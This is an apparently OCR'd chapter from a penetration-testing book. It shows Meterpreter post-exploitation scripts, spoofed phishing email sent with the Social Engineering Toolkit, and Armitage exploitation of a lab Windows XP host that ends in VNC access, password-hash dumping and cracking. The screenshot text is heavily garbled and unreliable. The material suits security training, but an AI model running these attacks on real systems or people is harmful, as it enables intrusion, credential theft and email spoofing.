After creating the buffer, we run the script again, as shown in the following
screenshot, and wait for the results.

File Edit View Bookmarks Settings Help

root@ht:~/Desktop#] ./minishare.py 192.168.8.110

root@bt:~/Desktop#
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What we see on the victim's machine is that Minishare crashes again due to the
buffer overflow exploit that runs on it, as shown in the following screenshot:

Full Path Shared Path

| Dirag and drop files or folders here.

.
minishare.exe

minizhare.exe has encountered a problem and needs to
close. We are sony for the inconvemence.

If you were in the middle of zomething, the information pou were working on
might be oz,

Please tell Microsoft about this problem.

YWie have created an ermor report that pou can send tooug. We will treat
thiz report as confidential and anonymous.

T o zee what data thiz error report contains, click here.

Send Emor Report ] Cion't Send |

Scripting with Metasploit

Now we move on to some concepts of custom Metasploit scripting using Ruby. Let
us start off with a very simple program that will print Hello World on the screen.
Demonstrated in the following screenshot is how we write our first simple program.
We can even simply write down the same program in a text pad and save it in the
destination folder.

root@dbt:~# echo "print status("Hello World")" > /opt/metasploit/msf3/ [g
scripts/meterpreter/helloworld. rb

root@bt:~#
root@bt : ~#
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Since we already have a Meterpreter session, we can simply run our script by
typing in run helloworld. We can see that our program has successfully executed
and has printed Hello World on the screen. So we have successfully built our own
custom script.

Bookmarks 5Se

[*] Hello world

meterpreter =
meterpreter =

Earlier, we used a print_status command; similarly, we can use print_error for
displaying a standard error and print_line for displaying a line of text.

print

print_line(

We can see that this has been displayed on the screen as shown in the
following screenshot:

Bookmarks
meterpreter =|run helloworld
[#*] Hello World

[-1 this is an error!

this is a line
meterpreter > |
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Now let us move on to having a more structured look for our program by
introducing the use of functions, error handling for incorrect input, and extracting
some important information through the script. In this script, we will use some of
the API calls to look for basic information about the victim's system, such as the
operating system, computer name, and privilege level of the script.

def getinfolsession)
begin

FUnpris
print :

#{runpriv}
print_error(
end
end

betinfo(client)

Now let us run the script. It successfully gives us all the information we need by
using the API calls. Hence we are a step ahead with our scripting skills by extracting
the basic information of the victim's computer. So what we have done here is we
have declared a function, as we do in any other programming language, to maintain
the structure of the program and passed a variable named session to it. This
variable is used to call various methods for printing the victim's basic computer
information. After this, we have a few status messages followed by the result of the
API calls. We have used getinfo(client) at the end to call our function.

Help

Settings

meterpreter =|run helloworld
[*] Getting system information ...

[#] tThe target machine 0S5 is Windows XP (Bui
1d 2600, Service Pack 2).

[*] tThe computer name is Computer

[#] tScript running as NT AUTHORITY\SYSTEM

meterpreter = JJ
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Next we move on to writing more advanced Meterpreter script and gathering some
more information from our target victim. This time we have two parameters, named
session and cmdlist. First of all, we print a status message followed by setting up a
response timeout so that the session does not hang. After this, we run a loop, which
takes in the items in an array one at a time and executes it on the system through
cmd.exe /c. Next, it prints the status that is returned from the command execution.
We then set up commands for extracting information from the victim's system, such
as set, ipconfig, and arp.

Finally, we run our script in Meterpreter by typing in run helloworld; our code
gets successfully executed on the target system, giving important information, which
is shown in the following screenshot:

melerpreler »|run helloworld
[*] Runnirg Command L1sSt ...
[*] rimning cosmand Set

[*] tALLUSERSPAAFILE=C:\Oocments and SettingsiAll Users
AltStartupsCmknown ALTSTartlp

Applata=L:\DoCusents and 51:1:!..'.ﬂlil'u"lFFETWFHEE“?’?]'.I:".‘"-.F.DDIJ.I:QTIE'I'I Dat
Commonbeskiop=C:\Documents and SEUTingitall Users\Desktop
CommonFavorites=C;\Documents and SertingeiAlL UsersiFavaritas
CoamonFiles=C:\Frogram Files\Common Files

Commonfrogr sl L es=C\Prograa Files\Common Files
CommonfrograsGroups=C L iacumants and SattingiyAll UsersyGrart He
Commons tartlenusC : \Documents and ‘E-Et'lll‘-ili'xﬁu UsersyStart Memu
CommanStariup=C:Oocusents and SeCl ||:q'=.'._.!.'ll UsgreyStart MemiyPro
COMPUTEPMAME =FwMED - 8252 8E637

ComSpec=C - WWINDOWS\systemd2omd  cxe

Connact tonwi 2ard=C:\Progran Eilesi Internel I'-|:|.|'.|:hrL-r‘-.I:|:|||.-||.~| Lion W
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Summary

In this chapter we have covered the basics of exploit research with Metasploit.
Exploitation itself is a very vast topic and a separate study. We covered the various
payloads in Metasploit and learned how exploits are designed. We also covered

a series of Metasploit scripting basics for information retrieval in our Meterpreter
session. In the next chapter we will cover two Metasploit add-on tools, Social
Engineering Toolkit and Armitage.
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Using Social Engineering
Toolkit and Armitage

Social Engineering Toolkit (SET) is an advanced toolkit that can be found nowadays
in the arsenal of penetration testers. This is an advanced toolkit and incorporates
many useful social engineering attacks, all in one interface. It is basically a project
named devolution and comes bundled along with BackTrack. This toolkit has been
written by David Kennedy and is one of the masters of the art of social engineering.
The best part about SET is that it can automatically generate exploit-hiding web pages
and e-mail messages.
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Image taken from http://www.toolswatch.org/wp-content/uploads/2012/08/set-box.png
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Understanding the Social
Engineering Toolkit

Before using Social Engineering Toolkit, we have to make a few changes in the

configuration file of SET. So first let us browse to the SET directory using root/
pentest/exploits/set/config where we will find the set_config file.

Let's open the set_config file in a text editor and first set the path of the
Metasploit directory; otherwise, the SET will not be able to start and will show an
error message: Metasploit not found. Set the directory in the following manner:
METASPLOIT_PATH=/opt/metasploit/msf3.

Settings Help

NEETNE THE PATH T0
METASFLOIT_PATH=/opt/m

.
|

THIS WILL TELL WHAT DATABASE TO USE WHEN USING THE METASPLOIT FUNCTIOMNALITY. DEFw
4 L

H W
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Another thing we have to change in this configuration file is to set the SENDMAIL
option to ON and set the name of EMAIL_PROVIDER to the one that we are using;
for example, here we are using GMAIL.

4

SENDMAT] 0N COR OFF FOR SPOOFING EMAIL ADDRESSES
SENDMATL =0ON

: EMAIL PROVIDER LIST SUPPORTS GMATL, HOTMAIL, AND ¥YAHOO, SIMPLY CHANGE THE IT TO
ISk

Now next thing that we have to do is install a small Sendmail application by typing
apt-get install sendmail.

view B marks

Settings

root@bt:~# apt-get install sendmail
Reading package lists... Done
Building dependency tree

Reading state information... Done
sendmail is already the newest version.

The following packages were automatically installed and a

Now that everything is set, we can start our SET program by moving into the
following directory by typing cd /pentest/exploits/set and then typing in ./set.

Bookmarks Settings Help
root@bt:~#| cd jpentestﬁexploltsfset
root@bt: /pentest/exploits/set# ./ set[]
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This shows us the SET menu in the terminal as shown in the following screenshot:

Selact from the menu:

l1) social-Engineering Attacks |

2} Fatt-Track Penetration Testing

3y Third Party Hodules

4% Update the Metasplol!l Frasswork

5h Upd&EE Tha 50c1al-[ngmeer Toolklt
6} Help, Credits, and About

99) Exit the Social-Englnéer Toolkit
|

In the preceding screenshot, we can see that the menu is listed with numbers. It is
very simple to use, and we have to just select the number and options to perform
any attacks. So here we select number 1 for Social-Engineering Attacks and then
press Enter.

Select from the menu:

1) Spear-Phishing Attack Vectors

i) wWebsite Attack Vectors

3} Infecticus Hedia Generalor

4 Create a Payload and Listener

3) Hass Hailer Attlack

&) Arduino-Based Attack Vector

) SMG Spoating ATTacK Vectar

B Wireless Access Point Attack Vector
9) OACode Generator AtTAcKk Yector

18) Third Party Hodules

o9) Return back to the main menu.

.hl

[ 246 ]



Chapter 13

Now we can see that after selecting the Social-Engineering Attacks option, there is
another menu that gets opened. Here we can see in the menu that there are 10 types
of attacks that can be performed. We cannot show all of them, so first we are going to
demonstrate the Mass Mailer Attack option that is number 5 in the menu. So select 5
and then press Enter, and it will ask the following: Start Sendmail?

Join us on irc.freenode.net in channel #setoolkit

Help support the toolkit, rank it here

t{' 1= /5 '_r|'|||1l_ S ||"|;'_-' |'|||1I_ /socliale 0 ineerl l:_Il'l'n:‘I_ K1 t'—':lu " ['-
Select from the menu:

1) Spear-Phishing Attack Vectors
2) Website Attack Vectors
3) Infectious Media Generator

d Listener
5) Mass Maller Attack

B6) Arduino-Based Attack Vector

7) SMS Spoofing Attack Vector

8) Wireless Access Point Attack Vector
9) QRCode Generator Attack Vector

10) Third Party Modules

99) Return back to the main menu.

[-] Sendmail is a Linux based SMTP Server, this can be used to sp
oof email addresses.

[-]1 Sendmail can take up to three minutes to start

[*] Ssendmail is set to ON
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Type yes to start the Sendmail attack. After that, we will be shown two options for
attacking: the first is E-Mail Attack Single Email Address and the second is E-Mail
Attack Mass Mailer. Here we are selecting option 1 for an e-mail attack on a single
e-mail address. Type in 1; after this option has been selected, you will be asked for
the e-mail address that has to be attacked.

mi > Start Sendmail?® [yes|no]

[-] Sendmail can take wip o 3-3 mimites to start

* starting Mail Transport Agent (MTA)] sendmail
MTA 13 already runming.

Social Engineer Toolkit HWass E-Mailer

There arée twd opticns on the mass e-mailer, the first woiald
ke ta send An email to one individusl persan. The secomd optia
|’ will allow you to import a list and send it to as many people
o vou want within that list.

what do you want Lo do:
I].. E-Mail Attack 5ingle Email .ﬁddrrul
: 11 ATEack Pass Haller

9. RELurn o msaln meni.

So for example, here we are using xxxxxxx@gmail.com as the victim's e-mail address.

will allow you to import a list and send it to as man
y peaple as

you want within that list.

What do you want to do:

1. E-Mail Attack Single Email Address
2. E-Mail Attack Hass Mailer

4%, Return to main menu.

1
:I'Si.-nd email to _.'E,lgmall.ml.l—l
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Attack options

After we have given the target address, two options for attack will be shown. The
first option is Use a gmail account for your email attack and the second option is
Use your own server or open relay. For this attack, the second option is the best
option. If you have an open relay or your own server, you can send mail from any
domain address; but in this case, we don't have our own server or open relay, so we

would be using a Gmail account and selecting option number 1.

1. E-Mail Attack 5Single Email Address
2. E-Hail Attack Hass Mailer

99. Return te main meénu.

>1

» Send email toJEGgnail.com

lé, Use a gmail Account for your email attack.)
. Use your own Server or open relay

)

After we have selected option number 1, we will be asked for the Gmail address
from which we will attack; for example, here we are using yyyyy@gmail.com as an

attacker address.

1. E-Mail Attack Single Email Address
2. E-Mail Attack Mass Mailer

99. Return To main mend.

=1
= Send emall to HEEENEESGrall . Con

[1. use a grail Account for your email attack.|
- USe your own SErver or open relay

>

Your omail email address
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After we have provided the e-mail address, it will now ask us for Email password.

2. E-Mail Attack Haczz Mailer

99. Return to maln menu.

=1

> Send email to SR Aqrail.com

1. Use a gmail Account Tor your email attack.
2. Use your own server or open relay

=]

- > Your gmail email address:EjEEGqrail.com
mail password: Jij

Set the e-mail password; then we will be asked to flag if the message priority is high
with either yes or no. Type yes to give high priority to the message.

99, Return to maln menu.

*1

> Send email to JE:grail.com

1. Use a gmail Account for your email attack.
2. Use your own server or open relay

=1
: > Your grail email address JEE:orail.com
Email password;
.=q = |Flag this message/s as high priority? [yes|no]
rye
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Next we will be asked for the Email subject; for example, here we give the message
subject as hello.

9. Return TO maln Bend.

>1

> Send email to:NEEB2gmail.con

1. Use a gmail Account for your email attack.
2. Use your own server or apen relay

>]

> Your gmail esail address JEEERignail . cos

Erua:i.l. password:

:rflﬂa,lhlﬁ_masﬁagniﬁ_Ts high priority? [yes|no]:yes
Email subject:hello

» %end the message as html or plain? 'h° or ‘p’' [pl:

Next we will be asked for the format in which we want to send the message; for
example, in either the HTML format or in the plain text format. Here we are typing p
for the plain text format.

>1

> Send email tuhgmail.mn

1. Use a gmail Account for your email attack.
2. Use your own server or open relay

=]
: > Your gmail email address elrgrail .com
[Email password:
$ > Flag this message/s as high priority? [yes|no]:yes
> ject:hellog
Send the message as himl or plain? "h° or 'p’ [pl:p
: > ENLEr the e message, TEeturn for a new
ine. Control+c when finished:
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Now enter the body of the message that has to be sent to the victim. Here we are just
writing you are hacked.

= Send email to

ibgmail . com

1. Use a gmail Account for your email attack.
2. Use your owWm SErvér or open relay

>1
: > Your gmail email address: I :gnail.con
IEmall password
> Flag this message/s as high priority? [yes|no]:yes
= Email subject:hello
= Send the message as html or plain? ‘h' or ‘p* [pl:p
: > Enter the body of the message, hit return Tor a new |
ine. Control+c when finished:you are hacked..

[ifie of the

After writing the message, press Ctrl + C for ending the message body, and the
message to the target e-mail address will be sent. Then press Enter to continue.

2. Uze your Own Server or open Tl!ln!-:f

=]
> Your gmail email address: EZgmail.con
Emall passwWord:
» Flag this message/s as high prierity? [yes|no]:yes
> Email subject:hello
= Send the message as himl er plain? ‘h' ‘' Ipl:p
¥ = Enter the body of the message, hit rtturn fur a new 1
ine. Controlsc when f;n15heﬁ you are hacked. .
Mext line of the body: =C[*] SET has finished sending the emails

Press a1 to continue
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Let us check our mailbox to see whether our spoof e-mail has reached into the
victim's inbox or not. When we check the Inbox folder, we do not find the e-mail
because gmail filters these types of mails into its Spam folder. When we check our
Spam folder, we see our spoof message e-mail.

L_;ﬂ :{.L E E -

Armitage

We move on to another great tool known as Armitage (http://www.
fastandeasyhacking.com/). It is a graphical tool based on Metasploit and has
been developed by Raphael Mudge. It is used for visualizing targets, automatically
recommending exploits for known vulnerabilities along with using advanced
capabilities of the framework.

CYBER ATTACHK MANAGEMENT FOR METASPFPLIONT

FAST AND EASY Hacxing
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Now let us start with Armitage hacking; first we will learn how to start Armitage.
Open the terminal and type in armitage.

Host h27.0.01
Port 55553
User misf
Pass tast
| Connect || Help

After a few seconds, a connect box prompt will appear; leave it with the default
settings and click on Connect.

. A Metasploit RPC server is not running or
0 not accepting connections yet, Would you
like me to start Metasploit's AFC server
for you?

yes

After connecting, it will again prompt for an option box and ask us to start
Metasploit; click on Yes.
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pibt;~# armilage
Etarting msfrpcd for you.
|*] MEGRPC =Larling on 127.8.8.1:55553 (55L):Msq..

I

= Connecting te 127.0.0.1:55553
pava.net, ConnactException: Connectien refused

=

Cancel

Now Armitage has started to connect with our localhost address as we can see in
the preceding screenshot. After successfully connecting to it, we can see that our
Armitage console is ready.

iemitage dew Hgets Altagks Werkepacss Halp

= B ausihary
= | esploit
= 8 paytead
* @ post

cxplelts - 451 auzdUary - 135 post
payloads - eders - 0 nops
=[ svn 14805 updated 4% days age (200202055

warning: Thi apy al the Aetasplolt Fremewerk was last updated 4599 days ago.

L end that you wpdate the
Far informalisn on updaling ¥
hETps: ffcommind Ly . rapi N0 = 1S
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We will start with the scanning process. For this, go to Hosts | MSF Scans.

e taaplalt va, 3, 0- releass [carecd, F apli).0]
esplodts - auciLiary » 175 post
ds = IT ehRCedErs - pe
updated 450 dips aqa da 0, 1)

Warnings Thi% €apy ol the Melaiplait Frosew s Lést wpdated 459 days age
e recommend thal gjeu wpdabe the Irasework a1 lesst every ather day.
Fer inflormation on updalisg apy of Hetasplelt,. please see

Ritpsi S fcommuni ty. rapld¥. o i O = 130

After MSF Scans has been selected, we will be asked for the IP address range
for scanning. So you can either give the range or give it a particular IP address
for scanning; for example, here we are giving our target's IP address, which is

192.168.0.110.

Conache X | Scan X
mhi ralond = w6t EHOSTS 103, 168, 0, 118
FHOSTS == L0, RE AL
mif  muriliacy (smh wersion) = sed TISHADS 24
THEEEADS == 34
msl  suziliary (ssb version) = rem -j
=] Buziliary ssdule runndng af Bachgreund job

I=] 192, 1, % runnieg Windews X' Service Pack 2 (Langeegen
| g : FHED - CGRTANY
I*] Scanned & of 1 hasts (160 cemplene]

{*] Scan complete In
|msd wuriliary (ssh

Lnglish)
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After giving the target IP, we can see in the preceding screenshot that our target has
been detected and is a Windows system. Now we will perform an Nmap Scan for
checking its open ports and the services running on it. Go to Hosts | Nmap Scan |
Intense Scan.

* i iy Impart Hosts

= B =piag
+ il payload
* i post

B b §
=i Hosls

- =

Comedola X J Scan X

[HHL=1S == 142, Lbi, i, 110

(met auriliaryismb_version) > set TIREADS 24

| THREADS == 24

[l awzd ry{smb wersion) = rum =

! 1*] Awziliary module running as background job

| [=] 192, 168, 0,110:44% 15 running Windows XP Service Pack 2 {Languaqe: English) in
| ame  PWNED s HE5DGED camad m oW OREGRMP )

[ 1*] scanned 1 of 1 ts (100, Complete)

| 1%] Scan complete im 11.271s

|msf auxiliary(smb_ver
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After we have selected the scan type, we will be asked for the IP address. Give the
target IP address and click on OK. Here we are using 192.168.0.110 for the target.

& i ausliany
" - eapbo
= paytogd
= . ol

Enler scan range (a9, 152.1580.1.0/24)

152.188.0.110

194 Ind. 0, L1I
Lancel

i Console X | ccan X i
[WHUSTS == L. 1ol i, LI0
{msf  aoziliary(smb version) = set THRCADS 24
| THREADS == 24
{mst  auxiliary (smb_version) = run - j
[=] Appilfary module running &< Backgqround job
| [=1 1892, 168.0. 1100445 1s running Windows ©F Service Pack 2 {lanquage: English} im
| dme s PENED - 0252000037 {domad n o WORRLIN |
{[*] Scanned 1 of 1 hosts (100% complele)

[*] Scan complete in 11,2215

|mst__auxiliary(smb_version) >

After successfully completing the Nmap Scan, a message box will appear showing
the message Scan Complete; click on OK.
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SCan Commpheds|

L Artocis->Fnd Abracics (o suggest
B Bbke eplod § for your [ageld

3

NEGp: |

MEap: | System Clme: JO08-00-20 1557040 UTC+S. 5

MEapn TRACERDUTI

Memapy WS BT ADOEY %%

PMmaps 1 1.40 w5 197 16, 0. 110

Mmapr Read data Tiles Trem fopdl/metaspledt/commonybin. . fshare fnmap

Mmap: 05 and Service detection performed. Please report any dncerrect resulis
http: finmap. org/sutml Ty .

Mmapn Wmap doned 1 IP address {1 hest upl scanmed In 14,24 secomds

Medpr Rew packels sents 1007 (45 $466B) | Revdn 1817 (41,2708

We can see the Nmap Scan result in the terminal panel section. The result of the Nmap
Scan shows us that there are four open ports listed with their services and versions.

= el el ot
= i pargload

-

B post

162, 163, 8.118

Mmip i Comp
Hmapi Mimap
Mmapr Most is @p
Mmapn Mot showmi O
MmEp e FIHEID %TARL

P | cp OpER ft Windows RPC

Midps 139 tcp open  netbles-ssn

Mmap i - open microsoft-ds Micr fr Windows P microselt-ds

Mmaps Z66%ftcp open hittp Hcrasatt HTTPAFT httpd 1.0 [5500UFnF]
Mppe | RTEp-meThode: Mo AUDow or POBLIC header on DOTTONS response (sTalos o
A0}
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Working with Hail Mary

Now we move to the attack part of Armitage. Go to Attacks | Hail Mary. Hail Mary
is a very neat feature in Armitage, with which we can search for automatic matching
exploits and launch an exploit on the target.

i auiliary Firvf

» il explon
= & payload 4
F I poat

192. 168.0, 110

= =

Hmap: Completed WSE af 19:%7, 0,845 elapsed
Mmapi Mmap scan repart for 192, 168.0.110
Hmap: HosL is up (0.6912% Latencyl.

Mmap: Mot showni W closed ports

Hmap: POHI STAIE SERVICE VEHSLON

Hmapi 135/tcp  Gpen  WSCpC Micrasaft Windows RPC

Hmap: 139/tcp  open  netbios-ssn

Hmaps A495/tep  apen microsoft-ds Microsoft Windows ¥P microsoft-ds

Nmap: JHRGSEEp open  hilp Hicrosolt HITEAPL httpd L. (5500 UPRP )

Hmap: | _http-methods: Ma Allow or Public header in OPTIONS respamse (status ¢
R ]

Now Hail Mary will start to launch all the matching exploits for the target machine
as we can see in the following screenshot:

[260]



Chapter 13

]

Finding sxplalts ivla Iedal magid)
J 1R, LGE, O 18] Feand 21 eaplal 1w
Sarting Deplajis

Launching Caploils

wi =

sisng by Exglod
L2 1000 10 0048Y |l P Bl TS BT

After a few minutes, we see that our target machine icon has turned red as shown
in the following screenshot. This is a sign that symbolizes that we successfully
compromised the system by one of the exploits. We can also see that Meterpreter

sessions are available in terminal section two.

= Sl
* i splon
= S o
= B post
| 1532, 168, . 118
T AUTHIBRITYASYSTEN & FaiED -0 a0y
Consgle X | Seam N | Amap K| el ey X

BeELErpreter ¥ - 193, 168k, L0G: 39537 = 107, BEH, 0. 110;9]

i ezploktfelndews/sob fesdE 067 netapd

1*] Beterpreter sessiom 1 opened §103. 180,010
| OL3-0%- 20 0250 050

[*] neverpreter session 7 opened {100 160, 0. 108
O02-0- FE M 0E: 00 +00% 30

| st =

1 -= 192, 1680, 11000142} at

ALY =% IS, 1GB. 0, 110: TEr) &1

]

[261]



Using Social Engineering Toolkit and Armitage

Now right-click on the compromised system; we will see some interesting options
over there. We can see the Attack option, two Meterpreter sessions, and the Login
options. So now we will try using some of these options.

Armitage faw Hpute Altagks Workspaces He

.
L]

* i Acaliany
= i awpioit

* i payioad
= i pasl

erprelei g

Metarpratar |
I AUTHORLTYY, : Sergices

1 melerpreter B fwind? 162168, 0. 106: 19527 «= 167 160E.0. 116:81

142 explod tpwindows fomb /ms08_067 netapl

[ [*] Meterpreter session 1 opened (192, 168.0, 10639527 -+= 192, 168,0, 11009142} at 2
| 1= 05=-20 F:0Z 56 +0570

;I*] Melerpreler session 2 opened (192, 168.0, 0659153 -» 192, I68.0, 110: 1335%) at 2
| B13-03-28 P03 0 053

|l =

Go to the Meterpreterl option; here we will see some more options, such as Interact,
Access, Explore, and Pivoting. All the options have already been used in Metasploit

by typing in lots of commands, but in Armitage, we just have to click on a particular
option to use it.
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Next, we are going to use some of the Meterpreter options. We will use the Interact
option to interact with the victim's system. Go to Interact | Desktop (VNC).
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After this, we will see a message box showing the message that a VNC bind tcp
stager connection has been established and that for using the VNC viewer, we need
to connect to 127.0.0.1:5901; click on OK.

0 [*] Craating & VHC band top stager RHOST=127.0,0,1 LPORT=23632
Conmect VAL viewer te 1270015001 (disphsy 01)

i yoar Conmaction ik relused, you miy need Lo megrate Lo @
nEw pracany B8 uek up VN,

0%

Again, a second message box prompt appears that shows some detailed information
about our VNC bind stager and our notepad.exe process that is running with the
process ID 1360. Click on OK.

[*] Host process notepad.exe has PID 1360
[*] &llocated memory at address Ox003a0000, for 298 byte stager
[*] Writing the WNC stager into memory...

[#] Starting the port forwarding from 2362 == TARGET: 2362
[*] Local TCP relay created: 127,0,0.1:2362 <= 127,0,0.1:2362

Connect WNC viewer to 127.0.0.1:5901 (display 01)

If your connection is refused, you may need to migrate to a

new process to set up WHC,

The last and final message box will show that our VNC payload is running
successfully on the victim's system and that to use the VNC viewer, we
need to connect to 127.0.0.1:5901.
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6 [*] Running payload handler
Connect WNC viewer to 127,0.0,.1:5901 (display 01)
If your connection is refused, you may need to migrate to a
new process to set up WNC,

Let us connect to the VNC viewer by opening the terminal and typing in vncviewer. A
vncviewer box will appear; we need to give the IP and port number to be connected to
as shown in the following screenshot. In our case, we are giving 127.0.0.1:5901.
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Now we will try another option of Meterpreter that is the Explore option. Go to
Explore | Browse Files.
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: Sl Log Keyitinkes
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PhOPET [ebOdii il

[ 1  meterpreler 206 windd 192, 160, 0, DG 30523 -= 192, 160, 0, 11091
|42  erplodtwindews fomb /o 08 067 netapd

| [=] crpreter session 1 opened (192, 105, 0. 10F 3 o-w 192, 1680, 110:9142) at 2
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[ [*]1 Meterp session & opened (192, 168. 0. 10659153 -= 192, 168, 6. 110; 1335} at 2
| D1 3= 05«70 20507000 +0530
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Using the Explore option, we can browse the victim's drive and see the victim's C:
drive along with its files. There are two more options: one is for uploading files and
the other is for making a directory in the target system. We can see that both the
options in the following screenshot are marked with a red box.
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Meterpreter—access option

Now we are going to use another Meterpreter option—the Access option. Under
this option, there are more options available; so here we are going to use the Dump
Hashes option. Go to Access | Dump Hashes | 1sass method.

TEaal Tolksr

Bump Huslets L3 [P

|fermols X)) Scan K Armap X | Maddang X | it Pl Bt
w

| melerpreler @06

Foexploltfwlnde

salen | opened ()93

Fa iy

session F opened (093, D680, D06
OO T

After a few seconds, a message box will prompt that the hashes were dumped
successfully and that to see them we can use View | Credentials.

*‘ Hashes dumped.
1 [ Use Wiew -= Credentials]to see them,

(ox]

Let us see the dumped hashes by going to View | Credentials.
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We can see all the usernames along with their hashed passwords in the
following screenshot:
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If we want to crack all these dumped hashes, we can click on Crack Passwords.
A window will appear, after which we will click on Launch.

armitage Yiew Hosts Atacks Workspaces Help

L] ELxiliary
b H ewplo
» @l payicl

F i post

John the Ripper Paseword Crackar (Fast Hode)

This module uses jol the Ripper Lo identify weeak passwords that have boen |8

acqguired a3 hashed files (loot) or raw LAKNMANTLM hashes (hashdump). The
Aanal & kg mad la e P Bead P al e et dE 6 5 RSt it A8 e T o)
Dption i Valua

JOHM_BASE
JCHM PATH

Ll
Halpissist
SUPPOAT
Wictim

| Show adwmnced opticns

| Rafresh | Iiri:l-: Paimnrml Export

We can see the cracked hashes' results; note that the Administrator password hash
has successfully been cracked with the password 12345.
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Just as we used different types of Meterpreter options, there are some other options
available as well, such as the Services that is used for checking the services running
on the victim's system.
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Summary

In this chapter, we learned how to use the add-on tools of the Metasploit framework
and further master our skills of exploitation. The social engineering attack is still one of
the strongest ways to attack a victim and is one of the most widely used. So this is why
we covered the Social Engineering Toolkit to demonstrate how to attack a victim. We
also mastered the art of graphical exploitation with Armitage, making things extremely
easy for exploitation. Vulnerability analysis and exploitation was an easy show with
this tool. With this chapter, we come to the end of the book. We have covered extensive
information-gathering techniques, exploitation basics, post exploitation tricks, the art
of exploitation, and other add-on tools, such as SET and Armitage.

References

The following are some helpful references that shed further light on some of the
topics covered in this chapter:

e http://www.social-engineer.org/framework/Computer_Based_Social_
Engineering_Tools:_Social_Engineer_Toolkit_ (SET)

* http://sectools.org/tool/socialengineeringtoolkit/

e www.exploit-db.com/wp-content/themes/exploit/docs/17701.pdf

e http://wiki .backbox.org/index.php/Armitage

* http://haxortr4ck3r.blogspot.in/2012/11/armitage-tutorial._html

e http://blog.right-technology.net/2012/11/21/armitage-gui-for-
metasploit-tutorial/
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